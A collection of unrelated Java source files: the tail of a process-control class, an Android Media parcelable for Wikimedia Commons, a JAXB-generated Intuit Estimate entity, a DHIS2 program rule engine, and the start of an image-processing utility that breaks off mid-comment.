thread.setDaemon(DEFAULT_DAEMON_THREAD);
thread.setPriority(Thread.NORM_PRIORITY);
return thread;
}
public List<String> getCommand() {
return processConfiguration.getCommand();
}
public String getCommandString() {
return processConfiguration.getCommandString();
}
public Map<String, String> getEnvironment() {
return processConfiguration.getEnvironment();
}
public int getPid() {
return ProcessUtils.findAndReadPid(getWorkingDirectory());
}
public int safeGetPid() {
try {
return getPid();
}
catch (PidUnavailableException ignore) {
return -1;
}
}
public boolean isRedirectingErrorStream() {
return processConfiguration.isRedirectingErrorStream();
}
public boolean isRunning() {
return ProcessUtils.isRunning(this.process);
}
public File getWorkingDirectory() {
return processConfiguration.getWorkingDirectory();
}
public int exitValue() {
return process.exitValue();
}
public int safeExitValue() {
try {
return exitValue();
}
catch (IllegalThreadStateException ignore) {
return -1;
}
}
public String readLogFile() throws IOException {
File[] logFiles = FileSystemUtils.listFiles(getWorkingDirectory(), new FileFilter() {
@Override
public boolean accept(final File pathname) {
return (pathname != null && (pathname.isDirectory() || pathname.getAbsolutePath().endsWith(".log")));
}
});
if (logFiles.length > 0) {
return readLogFile(logFiles[0]);
}
else {
throw new FileNotFoundException(String.format(
"No log files were found in the process's working directory (%1$s)!", getWorkingDirectory()));
}
}
public String readLogFile(final File log) throws IOException {
return FileCopyUtils.copyToString(new BufferedReader(new FileReader(log)));
}
public boolean register(final ProcessInputStreamListener listener) {
return (listener != null && listeners.add(listener));
}
public void registerShutdownHook() {
Runtime.getRuntime().addShutdownHook(new Thread(new Runnable() {
@Override
public void run() {
shutdown();
}
}));
}
public void signalStop() {
try {
ProcessUtils.signalStop(this.process);
}
catch (IOException e) {
log.warning("Failed to signal the process to stop!");
if (log.isLoggable(Level.FINE)) {
log.fine(ThrowableUtils.toString(e));
}
}
}
public int stop() {
return stop(DEFAULT_WAIT_TIME_MILLISECONDS);
}
public int stop(final long milliseconds) {
if (isRunning()) {
int exitValue = -1;
final int pid = safeGetPid();
final long timeout = (System.currentTimeMillis() + milliseconds);
final AtomicBoolean exited = new AtomicBoolean(false);
ExecutorService executorService = Executors.newSingleThreadExecutor();
try {
Future<Integer> futureExitValue = executorService.submit(new Callable<Integer>() {
@Override
public Integer call() throws Exception {
process.destroy();
int exitValue = process.waitFor();
exited.set(true);
return exitValue;
}
});
while (!exited.get() && System.currentTimeMillis() < timeout) {
try {
exitValue = futureExitValue.get(milliseconds, TimeUnit.MILLISECONDS);
log.info(String.format("Process [%1$s] has been stopped.%n", pid));
}
catch (InterruptedException ignore) {
}
}
}
catch (TimeoutException e) {
exitValue = -1;
log.warning(String.format("Process [%1$d] did not stop within the allotted timeout of %2$d seconds.%n",
pid, TimeUnit.MILLISECONDS.toSeconds(milliseconds)));
}
catch (Exception ignore) {
// handles CancellationException, ExecutionException
}
finally {
executorService.shutdownNow();
}
return exitValue;
}
else {
return exitValue();
}
}
public int shutdown() {
if (isRunning()) {
log.info(String.format("Stopping process [%1$d]...%n", safeGetPid()));
signalStop();
waitFor();
}
return stop();
}
public boolean unregister(final ProcessInputStreamListener listener) {
return listeners.remove(listener);
}
public void waitFor() {
waitFor(DEFAULT_WAIT_TIME_MILLISECONDS);
}
public void waitFor(final long milliseconds) {
ThreadUtils.timedWait(milliseconds, 500, new ThreadUtils.WaitCondition() {
@Override
public boolean waiting() {
return isRunning();
}
});
}
}
| |
package fr.free.nrw.commons;
import android.net.Uri;
import android.os.*;
import android.util.Log;
import java.util.*;
import java.util.regex.*;
public class Media implements Parcelable {
public static Creator<Media> CREATOR = new Creator<Media>() {
public Media createFromParcel(Parcel parcel) {
return new Media(parcel);
}
public Media[] newArray(int i) {
return new Media[0];
}
};
protected Media() {
this.categories = new ArrayList<String>();
this.descriptions = new HashMap<String, String>();
}
private HashMap<String, Object> tags = new HashMap<String, Object>();
public Object getTag(String key) {
return tags.get(key);
}
public void setTag(String key, Object value) {
tags.put(key, value);
}
public static Pattern displayTitlePattern = Pattern.compile("(.*)(\\.\\w+)", Pattern.CASE_INSENSITIVE);
public String getDisplayTitle() {
if(filename == null) {
return "";
}
// FIXME: Gross hack bercause my regex skills suck maybe or I am too lazy who knows
String title = filename.replaceFirst("^File:", "");
Matcher matcher = displayTitlePattern.matcher(title);
if(matcher.matches()) {
return matcher.group(1);
} else {
return title;
}
}
public String getDescriptionUrl() {
// HACK! Geez
return CommonsApplication.HOME_URL + "File:" + Utils.urlEncode(getFilename().replace("File:", "").replace(" ", "_"));
}
public Uri getLocalUri() {
return localUri;
}
public String getImageUrl() {
if(imageUrl == null) {
imageUrl = Utils.makeThumbBaseUrl(this.getFilename());
}
return imageUrl;
}
public String getFilename() {
return filename;
}
public void setFilename(String filename) {
this.filename = filename;
}
public String getDescription() {
return description;
}
public long getDataLength() {
return dataLength;
}
public void setDataLength(long dataLength) {
this.dataLength = dataLength;
}
public Date getDateCreated() {
return dateCreated;
}
public void setDateCreated(Date date) {
this.dateCreated = date;
}
public Date getDateUploaded() {
return dateUploaded;
}
public String getCreator() {
return creator;
}
public void setCreator(String creator) {
this.creator = creator;
}
public String getThumbnailUrl(int width) {
return Utils.makeThumbUrl(getImageUrl(), getFilename(), width);
}
public int getWidth() {
return width;
}
public void setWidth(int width) {
this.width = width;
}
public int getHeight() {
return height;
}
public void setHeight(int height) {
this.height = height;
}
public String getLicense() {
return license;
}
public void setLicense(String license) {
this.license = license;
}
// Primary metadata fields
protected Uri localUri;
protected String imageUrl;
protected String filename;
protected String description; // monolingual description on input...
protected long dataLength;
protected Date dateCreated;
protected Date dateUploaded;
protected int width;
protected int height;
protected String license;
protected String creator;
protected ArrayList<String> categories; // as loaded at runtime?
protected Map<String, String> descriptions; // multilingual descriptions as loaded
public ArrayList<String> getCategories() {
return (ArrayList<String>)categories.clone(); // feels dirty
}
public void setCategories(List<String> categories) {
this.categories.removeAll(this.categories);
this.categories.addAll(categories);
}
public void setDescriptions(Map<String,String> descriptions) {
for (String key : this.descriptions.keySet()) {
this.descriptions.remove(key);
}
for (String key : descriptions.keySet()) {
this.descriptions.put(key, descriptions.get(key));
}
}
public String getDescription(String preferredLanguage) {
if (descriptions.containsKey(preferredLanguage)) {
// See if the requested language is there.
return descriptions.get(preferredLanguage);
} else if (descriptions.containsKey("en")) {
// Ah, English. Language of the world, until the Chinese crush us.
return descriptions.get("en");
} else if (descriptions.containsKey("default")) {
// No languages marked...
return descriptions.get("default");
} else {
// FIXME: return the first available non-English description?
return "";
}
}
public Media(String filename) {
this();
this.filename = filename;
}
public Media(Uri localUri, String imageUrl, String filename, String description, long dataLength, Date dateCreated, Date dateUploaded, String creator) {
this();
this.localUri = localUri;
this.imageUrl = imageUrl;
this.filename = filename;
this.description = description;
this.dataLength = dataLength;
this.dateCreated = dateCreated;
this.dateUploaded = dateUploaded;
this.creator = creator;
}
public int describeContents() {
return 0;
}
public void writeToParcel(Parcel parcel, int flags) {
parcel.writeParcelable(localUri, flags);
parcel.writeString(imageUrl);
parcel.writeString(filename);
parcel.writeString(description);
parcel.writeLong(dataLength);
parcel.writeSerializable(dateCreated);
parcel.writeSerializable(dateUploaded);
parcel.writeString(creator);
parcel.writeSerializable(tags);
parcel.writeInt(width);
parcel.writeInt(height);
parcel.writeString(license);
parcel.writeStringList(categories);
parcel.writeMap(descriptions);
}
public Media(Parcel in) {
localUri = (Uri)in.readParcelable(Uri.class.getClassLoader());
imageUrl = in.readString();
filename = in.readString();
description = in.readString();
dataLength = in.readLong();
dateCreated = (Date) in.readSerializable();
dateUploaded = (Date) in.readSerializable();
creator = in.readString();
tags = (HashMap<String, Object>)in.readSerializable();
width = in.readInt();
height = in.readInt();
license = in.readString();
in.readStringList(categories);
descriptions = in.readHashMap(ClassLoader.getSystemClassLoader());
}
public void setDescription(String description) {
this.description = description;
}
}
| |
//
// This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference Implementation, v2.3.0
// See <a href="https://javaee.github.io/jaxb-v2/">https://javaee.github.io/jaxb-v2/</a>
// Any modifications to this file will be lost upon recompilation of the source schema.
// Generated on: 2022.02.02 at 10:13:31 AM PST
//
package com.intuit.ipp.data;
import java.io.Serializable;
import java.util.Date;
import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlElement;
import javax.xml.bind.annotation.XmlSchemaType;
import javax.xml.bind.annotation.XmlType;
import javax.xml.bind.annotation.adapters.XmlJavaTypeAdapter;
import com.intuit.sb.cdm.util.v3.DateAdapter;
import org.jvnet.jaxb2_commons.lang.Equals2;
import org.jvnet.jaxb2_commons.lang.EqualsStrategy2;
import org.jvnet.jaxb2_commons.lang.HashCode2;
import org.jvnet.jaxb2_commons.lang.HashCodeStrategy2;
import org.jvnet.jaxb2_commons.lang.JAXBEqualsStrategy;
import org.jvnet.jaxb2_commons.lang.JAXBHashCodeStrategy;
import org.jvnet.jaxb2_commons.locator.ObjectLocator;
import org.jvnet.jaxb2_commons.locator.util.LocatorUtils;
/**
* Transaction entity is the base class of all
* transactions
*
* <p>Java class for Estimate complex type.
*
* <p>The following schema fragment specifies the expected content contained within this class.
*
* <pre>
* <complexType name="Estimate">
* <complexContent>
* <extension base="{http://schema.intuit.com/finance/v3}SalesTransaction">
* <sequence>
* <element name="ExpirationDate" type="{http://www.w3.org/2001/XMLSchema}date" minOccurs="0"/>
* <element name="AcceptedBy" type="{http://www.w3.org/2001/XMLSchema}string" minOccurs="0"/>
* <element name="AcceptedDate" type="{http://www.w3.org/2001/XMLSchema}date" minOccurs="0"/>
* <element name="EstimateEx" type="{http://schema.intuit.com/finance/v3}IntuitAnyType" minOccurs="0"/>
* </sequence>
* </extension>
* </complexContent>
* </complexType>
* </pre>
*
*
*/
@XmlAccessorType(XmlAccessType.FIELD)
@XmlType(name = "Estimate", propOrder = {
"expirationDate",
"acceptedBy",
"acceptedDate",
"estimateEx"
})
public class Estimate
extends SalesTransaction
implements Serializable, Equals2, HashCode2
{
private final static long serialVersionUID = 1L;
@XmlElement(name = "ExpirationDate", type = String.class)
@XmlJavaTypeAdapter(DateAdapter.class)
@XmlSchemaType(name = "date")
protected Date expirationDate;
@XmlElement(name = "AcceptedBy")
protected String acceptedBy;
@XmlElement(name = "AcceptedDate", type = String.class)
@XmlJavaTypeAdapter(DateAdapter.class)
@XmlSchemaType(name = "date")
protected Date acceptedDate;
@XmlElement(name = "EstimateEx")
protected IntuitAnyType estimateEx;
/**
* Gets the value of the expirationDate property.
*
* @return
* possible object is
* {@link String }
*
*/
public Date getExpirationDate() {
return expirationDate;
}
/**
* Sets the value of the expirationDate property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setExpirationDate(Date value) {
this.expirationDate = value;
}
/**
* Gets the value of the acceptedBy property.
*
* @return
* possible object is
* {@link String }
*
*/
public String getAcceptedBy() {
return acceptedBy;
}
/**
* Sets the value of the acceptedBy property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setAcceptedBy(String value) {
this.acceptedBy = value;
}
/**
* Gets the value of the acceptedDate property.
*
* @return
* possible object is
* {@link String }
*
*/
public Date getAcceptedDate() {
return acceptedDate;
}
/**
* Sets the value of the acceptedDate property.
*
* @param value
* allowed object is
* {@link String }
*
*/
public void setAcceptedDate(Date value) {
this.acceptedDate = value;
}
/**
* Gets the value of the estimateEx property.
*
* @return
* possible object is
* {@link IntuitAnyType }
*
*/
public IntuitAnyType getEstimateEx() {
return estimateEx;
}
/**
* Sets the value of the estimateEx property.
*
* @param value
* allowed object is
* {@link IntuitAnyType }
*
*/
public void setEstimateEx(IntuitAnyType value) {
this.estimateEx = value;
}
public boolean equals(ObjectLocator thisLocator, ObjectLocator thatLocator, Object object, EqualsStrategy2 strategy) {
if ((object == null)||(this.getClass()!= object.getClass())) {
return false;
}
if (this == object) {
return true;
}
if (!super.equals(thisLocator, thatLocator, object, strategy)) {
return false;
}
final Estimate that = ((Estimate) object);
{
Date lhsExpirationDate;
lhsExpirationDate = this.getExpirationDate();
Date rhsExpirationDate;
rhsExpirationDate = that.getExpirationDate();
if (!strategy.equals(LocatorUtils.property(thisLocator, "expirationDate", lhsExpirationDate), LocatorUtils.property(thatLocator, "expirationDate", rhsExpirationDate), lhsExpirationDate, rhsExpirationDate, (this.expirationDate!= null), (that.expirationDate!= null))) {
return false;
}
}
{
String lhsAcceptedBy;
lhsAcceptedBy = this.getAcceptedBy();
String rhsAcceptedBy;
rhsAcceptedBy = that.getAcceptedBy();
if (!strategy.equals(LocatorUtils.property(thisLocator, "acceptedBy", lhsAcceptedBy), LocatorUtils.property(thatLocator, "acceptedBy", rhsAcceptedBy), lhsAcceptedBy, rhsAcceptedBy, (this.acceptedBy!= null), (that.acceptedBy!= null))) {
return false;
}
}
{
Date lhsAcceptedDate;
lhsAcceptedDate = this.getAcceptedDate();
Date rhsAcceptedDate;
rhsAcceptedDate = that.getAcceptedDate();
if (!strategy.equals(LocatorUtils.property(thisLocator, "acceptedDate", lhsAcceptedDate), LocatorUtils.property(thatLocator, "acceptedDate", rhsAcceptedDate), lhsAcceptedDate, rhsAcceptedDate, (this.acceptedDate!= null), (that.acceptedDate!= null))) {
return false;
}
}
{
IntuitAnyType lhsEstimateEx;
lhsEstimateEx = this.getEstimateEx();
IntuitAnyType rhsEstimateEx;
rhsEstimateEx = that.getEstimateEx();
if (!strategy.equals(LocatorUtils.property(thisLocator, "estimateEx", lhsEstimateEx), LocatorUtils.property(thatLocator, "estimateEx", rhsEstimateEx), lhsEstimateEx, rhsEstimateEx, (this.estimateEx!= null), (that.estimateEx!= null))) {
return false;
}
}
return true;
}
public boolean equals(Object object) {
final EqualsStrategy2 strategy = JAXBEqualsStrategy.INSTANCE;
return equals(null, null, object, strategy);
}
public int hashCode(ObjectLocator locator, HashCodeStrategy2 strategy) {
int currentHashCode = super.hashCode(locator, strategy);
{
Date theExpirationDate;
theExpirationDate = this.getExpirationDate();
currentHashCode = strategy.hashCode(LocatorUtils.property(locator, "expirationDate", theExpirationDate), currentHashCode, theExpirationDate, (this.expirationDate!= null));
}
{
String theAcceptedBy;
theAcceptedBy = this.getAcceptedBy();
currentHashCode = strategy.hashCode(LocatorUtils.property(locator, "acceptedBy", theAcceptedBy), currentHashCode, theAcceptedBy, (this.acceptedBy!= null));
}
{
Date theAcceptedDate;
theAcceptedDate = this.getAcceptedDate();
currentHashCode = strategy.hashCode(LocatorUtils.property(locator, "acceptedDate", theAcceptedDate), currentHashCode, theAcceptedDate, (this.acceptedDate!= null));
}
{
IntuitAnyType theEstimateEx;
theEstimateEx = this.getEstimateEx();
currentHashCode = strategy.hashCode(LocatorUtils.property(locator, "estimateEx", theEstimateEx), currentHashCode, theEstimateEx, (this.estimateEx!= null));
}
return currentHashCode;
}
public int hashCode() {
final HashCodeStrategy2 strategy = JAXBHashCodeStrategy.INSTANCE;
return this.hashCode(null, strategy);
}
}
| |
/*
* Copyright (c) 2004-2022, University of Oslo
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
*
* Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* Neither the name of the HISP project nor the names of its contributors may
* be used to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package org.hisp.dhis.programrule.engine;
import java.util.*;
import java.util.stream.Collectors;
import lombok.NonNull;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.hisp.dhis.commons.collection.ListUtils;
import org.hisp.dhis.commons.util.DebugUtils;
import org.hisp.dhis.constant.ConstantService;
import org.hisp.dhis.program.Program;
import org.hisp.dhis.program.ProgramInstance;
import org.hisp.dhis.program.ProgramStageInstance;
import org.hisp.dhis.programrule.ProgramRule;
import org.hisp.dhis.programrule.ProgramRuleVariable;
import org.hisp.dhis.programrule.ProgramRuleVariableService;
import org.hisp.dhis.rules.DataItem;
import org.hisp.dhis.rules.RuleEngine;
import org.hisp.dhis.rules.RuleEngineContext;
import org.hisp.dhis.rules.RuleEngineIntent;
import org.hisp.dhis.rules.models.*;
import org.hisp.dhis.trackedentityattributevalue.TrackedEntityAttributeValue;
import com.google.api.client.util.Lists;
/**
* @author Zubair Asghar
*/
@Slf4j
@RequiredArgsConstructor
public class ProgramRuleEngine
{
private static final String ERROR = "Program cannot be null";
@NonNull
private final ProgramRuleEntityMapperService programRuleEntityMapperService;
@NonNull
private final ProgramRuleVariableService programRuleVariableService;
@NonNull
private final ConstantService constantService;
@NonNull
private final ImplementableRuleService implementableRuleService;
@NonNull
private final SupplementaryDataProvider supplementaryDataProvider;
public List<RuleEffect> evaluate( ProgramInstance enrollment, Set<ProgramStageInstance> events )
{
return evaluateProgramRules( enrollment, null, enrollment.getProgram(), Lists.newArrayList(),
getRuleEvents( events, null ) );
}
public List<RuleEffects> evaluateEnrollmentAndEvents( ProgramInstance enrollment, Set<ProgramStageInstance> events,
List<TrackedEntityAttributeValue> trackedEntityAttributeValues )
{
return evaluateProgramRulesForMultipleTrackerObjects( enrollment, events.stream().findAny().orElse( null ),
enrollment.getProgram(), trackedEntityAttributeValues, getRuleEvents( events, null ) );
}
public List<RuleEffects> evaluateProgramEvents( Set<ProgramStageInstance> events, Program program )
{
return evaluateProgramRulesForMultipleTrackerObjects( null, null, program, null,
getRuleEvents( events, null ) );
}
public List<RuleEffect> evaluate( ProgramInstance enrollment, ProgramStageInstance programStageInstance,
Set<ProgramStageInstance> events )
{
return evaluateProgramRules( enrollment, programStageInstance, enrollment.getProgram(),
Lists.newArrayList(), getRuleEvents( events, programStageInstance ) );
}
private List<RuleEffect> evaluateProgramRules( ProgramInstance enrollment,
ProgramStageInstance programStageInstance, Program program,
List<TrackedEntityAttributeValue> trackedEntityAttributeValues, List<RuleEvent> ruleEvents )
{
try
{
RuleEngine ruleEngine = getRuleEngine( programStageInstance, program, enrollment,
trackedEntityAttributeValues, ruleEvents );
if ( ruleEngine == null )
{
return Collections.emptyList();
}
return getRuleEngineEvaluation( ruleEngine, enrollment,
programStageInstance, trackedEntityAttributeValues );
}
catch ( Exception e )
{
log.error( DebugUtils.getStackTrace( e ) );
return Collections.emptyList();
}
}
private List<RuleEffects> evaluateProgramRulesForMultipleTrackerObjects( ProgramInstance enrollment,
ProgramStageInstance programStageInstance, Program program,
List<TrackedEntityAttributeValue> trackedEntityAttributeValues, List<RuleEvent> ruleEvents )
{
try
{
RuleEngine ruleEngine = getRuleEngine( programStageInstance, program, enrollment,
trackedEntityAttributeValues, ruleEvents );
if ( ruleEngine == null )
{
return Collections.emptyList();
}
return ruleEngine.evaluate().call();
}
catch ( Exception e )
{
log.error( DebugUtils.getStackTrace( e ) );
return Collections.emptyList();
}
}
private RuleEngine getRuleEngine( ProgramStageInstance programStageInstance, Program program,
ProgramInstance enrollment,
List<TrackedEntityAttributeValue> trackedEntityAttributeValues,
List<RuleEvent> ruleEvents )
{
String programStageUid = Optional.ofNullable( programStageInstance ).map( p -> p.getProgramStage().getUid() )
.orElse( null );
List<ProgramRule> programRules = implementableRuleService.getProgramRules( program, programStageUid );
if ( programRules.isEmpty() )
{
return null;
}
RuleEnrollment ruleEnrollment = getRuleEnrollment( enrollment, trackedEntityAttributeValues );
RuleEngine.Builder builder = getRuleEngineContext( program,
programRules )
.toEngineBuilder()
.triggerEnvironment( TriggerEnvironment.SERVER )
.events( ruleEvents );
if ( ruleEnrollment != null )
{
builder.enrollment( ruleEnrollment );
}
return builder.build();
}
/**
* To getDescription rule condition in order to fetch its description
*
* @param condition of program rule
* @param program {@link Program} which the programRule is associated with.
* @return RuleValidationResult contains description of program rule
* condition or errorMessage
*/
public RuleValidationResult getDescription( String condition, Program program )
{
if ( program == null )
{
log.error( ERROR );
return RuleValidationResult.builder().isValid( false ).errorMessage( ERROR ).build();
}
return loadRuleEngineForDescription( program ).evaluate( condition );
}
/**
* To get description for program rule action data field.
*
* @param dataExpression of program rule action data field expression.
* @param program {@link Program} which the programRule is associated with.
* @return RuleValidationResult contains description of program rule
* condition or errorMessage
*/
public RuleValidationResult getDataExpressionDescription( String dataExpression, Program program )
{
if ( program == null )
{
log.error( ERROR );
return RuleValidationResult.builder().isValid( false ).errorMessage( ERROR ).build();
}
return loadRuleEngineForDescription( program ).evaluateDataFieldExpression( dataExpression );
}
private RuleEngine loadRuleEngineForDescription( Program program )
{
List<ProgramRuleVariable> programRuleVariables = programRuleVariableService.getProgramRuleVariable( program );
return ruleEngineBuilder( ListUtils.newList(), programRuleVariables,
RuleEngineIntent.DESCRIPTION ).build();
}
private RuleEngineContext getRuleEngineContext( Program program, List<ProgramRule> programRules )
{
List<ProgramRuleVariable> programRuleVariables = programRuleVariableService
.getProgramRuleVariable( program );
Map<String, String> constantMap = constantService.getConstantMap().entrySet()
.stream()
.collect( Collectors.toMap( Map.Entry::getKey, v -> v.getValue().toString() ) );
Map<String, List<String>> supplementaryData = supplementaryDataProvider.getSupplementaryData( programRules );
return RuleEngineContext.builder()
.supplementaryData( supplementaryData )
.rules( programRuleEntityMapperService.toMappedProgramRules( programRules ) )
.ruleVariables( programRuleEntityMapperService.toMappedProgramRuleVariables( programRuleVariables ) )
.constantsValue( constantMap )
.build();
}
private RuleEngine.Builder ruleEngineBuilder( List<ProgramRule> programRules,
List<ProgramRuleVariable> programRuleVariables, RuleEngineIntent intent )
{
Map<String, String> constantMap = constantService.getConstantMap().entrySet()
.stream()
.collect( Collectors.toMap( Map.Entry::getKey, v -> v.getValue().toString() ) );
Map<String, List<String>> supplementaryData = supplementaryDataProvider.getSupplementaryData( programRules );
if ( RuleEngineIntent.DESCRIPTION == intent )
{
Map<String, DataItem> itemStore = programRuleEntityMapperService.getItemStore( programRuleVariables );
return RuleEngineContext.builder()
.supplementaryData( supplementaryData )
.rules( programRuleEntityMapperService.toMappedProgramRules( programRules ) )
.ruleVariables( programRuleEntityMapperService.toMappedProgramRuleVariables( programRuleVariables ) )
.constantsValue( constantMap ).ruleEngineItent( intent ).itemStore( itemStore )
.build()
.toEngineBuilder()
.triggerEnvironment( TriggerEnvironment.SERVER );
}
else
{
return RuleEngineContext.builder()
.supplementaryData( supplementaryData )
.rules( programRuleEntityMapperService.toMappedProgramRules( programRules ) )
.ruleVariables( programRuleEntityMapperService.toMappedProgramRuleVariables( programRuleVariables ) )
.constantsValue( constantMap ).ruleEngineItent( intent )
.build()
.toEngineBuilder()
.triggerEnvironment( TriggerEnvironment.SERVER );
}
}
private RuleEvent getRuleEvent( ProgramStageInstance programStageInstance )
{
return programRuleEntityMapperService.toMappedRuleEvent( programStageInstance );
}
private List<RuleEvent> getRuleEvents( Set<ProgramStageInstance> events,
ProgramStageInstance programStageInstance )
{
return programRuleEntityMapperService.toMappedRuleEvents( events, programStageInstance );
}
private RuleEnrollment getRuleEnrollment( ProgramInstance enrollment,
List<TrackedEntityAttributeValue> trackedEntityAttributeValues )
{
return programRuleEntityMapperService.toMappedRuleEnrollment( enrollment, trackedEntityAttributeValues );
}
private List<RuleEffect> getRuleEngineEvaluation( RuleEngine ruleEngine, ProgramInstance enrollment,
ProgramStageInstance event, List<TrackedEntityAttributeValue> trackedEntityAttributeValues )
throws Exception
{
if ( event == null )
{
return ruleEngine.evaluate( getRuleEnrollment( enrollment, trackedEntityAttributeValues ) ).call();
}
else
{
return ruleEngine.evaluate( getRuleEvent( event ) ).call();
}
}
}
| |
package imageFX;
/**
* File: ImageFX.java
*
* Description:
* This file contains common image processing methods.
*
* @author Yusuf Shakeel
* @version 1.0
* Date: 26-01-2014 sun
*
* www.github.com/yusufshakeel/Java-Image-Processing-Project
*
* The MIT License (MIT)
* Copyright (c) 2014 Yusuf Shakeel
*
* Permission is hereby granted, free of charge, to any person obtaining a copy of
* this software and associated documentation files (the "Software"), to deal in
* the Software without restriction, including without limitation the rights to
* use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
* the Software, and to permit persons to whom the Software is furnished to do so,
* subject to the following conditions
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
import java.awt.image.BufferedImage;
public class ImageFX {
/////////////////////////// Pixel elements ARGB Methods ////////////////////
/**
* This method will return alpha value from the pixel value.
*
* @param pixelVal The pixel value from which alpha value is calculated.
* @return Alpha value [0-255].
*/
public static int getAlphaValueFromPixelValue(int pixelVal){
return (pixelVal>>24) & 0xFF;
}
/**
* This method will return red value from the pixel value.
*
* @param pixelVal The pixel value from which red value is calculated.
* @return Red value [0-255].
*/
public static int getRedValueFromPixelValue(int pixelVal){
return (pixelVal>>16) & 0xFF;
}
/**
* This method will return green value from the pixel value.
*
* @param pixelVal The pixel value from which green value is calculated.
* @return Green value [0-255].
*/
public static int getGreenValueFromPixelValue(int pixelVal){
return (pixelVal>>8) & 0xFF;
}
/**
* This method will return blue value from the pixel value.
*
* @param pixelVal The pixel value from which blue value is calculated.
* @return Blue value [0-255].
*/
public static int getBlueValueFromPixelValue(int pixelVal){
return pixelVal & 0xFF;
}
/**
* This method will return pixel value from the ARGB value.
*
* @param a Alpha value [0-255].
* @param r Red value [0-255].
* @param g Green value [0-255].
* @param b Blue value [0-255].
* @return Pixel value.
*/
public static int getPixelValueFromARGBValue(int a, int r, int g, int b){
return (a<<24) | (r<<16) | (g<<8) | b;
}
///////////////////////////// HSI color model methods //////////////////////
/**
* This method will replace the RGB value of each pixel with the HSI value.
*
* @param img The image whose HSI image is created.
*/
public static void HSI_createHSIImage(MyImage img){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
int a = img.getAlpha(x, y);
int h = (int)(img.HSI_getHue(x, y)*255/359);
int s = (int)(img.HSI_getSaturation(x, y)*255);
int i = (int)(img.HSI_getIntensity(x, y)*255);
img.setPixel(x, y, a, h, s, i);
}
}
}
/**
* This method will change the hue value of the image.
* This method is using HSI (Hue-Saturation-Intensity) color model.
*
* @param img The image pixels to change.
* @param hue The hue value to set in degree [0-360]
*/
public static void HSI_changeImageHue(MyImage img, double hue){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
img.HSI_setHue(x, y, hue);
}
}
}
/**
* This method will change the saturation value of the image.
* This method is using HSI (Hue-Saturation-Intensity) color model.
*
* @param img The image pixels to change.
* @param saturation The saturation value [0-1]
*/
public static void HSI_changeImageSaturation(MyImage img, double saturation){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
img.HSI_setSaturation(x, y, saturation);
}
}
}
/**
* This method will change the intensity value of the image.
* This method is using HSI (Hue-Saturation-Intensity) color model.
*
* @param img The image pixels to change.
* @param intensity The intensity value [0-255]
*/
public static void HSI_changeImageIntensity(MyImage img, double intensity){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
img.HSI_setIntensity(x, y, intensity);
}
}
}
///////////////////////////// HSV color model methods //////////////////////
/**
* This method will change the hue of the image.
* This method is using HSV (Hue-Saturation-Value) color model.
*
* @param img The image pixels to change.
* @param hue The hue value to set in degree [0-360]
*/
public static void HSV_changeImageHue(MyImage img, double hue){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
img.HSV_setHue(x, y, hue);
}
}
}
/**
* This method will change the saturation of the image.
* This method is using HSV (Hue-Saturation-Value) color model.
*
* @param img The image pixels to change.
* @param saturation The saturation value [0-1]
*/
public static void HSV_changeImageSaturation(MyImage img, double saturation){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
img.HSV_setSaturation(x, y, saturation);
}
}
}
/**
* This method will change the value of the image.
* This method is using HSV (Hue-Saturation-Value) color model.
*
* @param img The image pixels to change.
* @param value The value [0-1]
*/
public static void HSV_changeImageValue(MyImage img, double value){
for(int y = 0; y < img.getImageHeight(); y++){
for(int x = 0; x < img.getImageWidth(); x++){
img.HSV_setValue(x, y, value);
}
}
}
///////////////////////////// HSL color model methods //////////////////////
/**
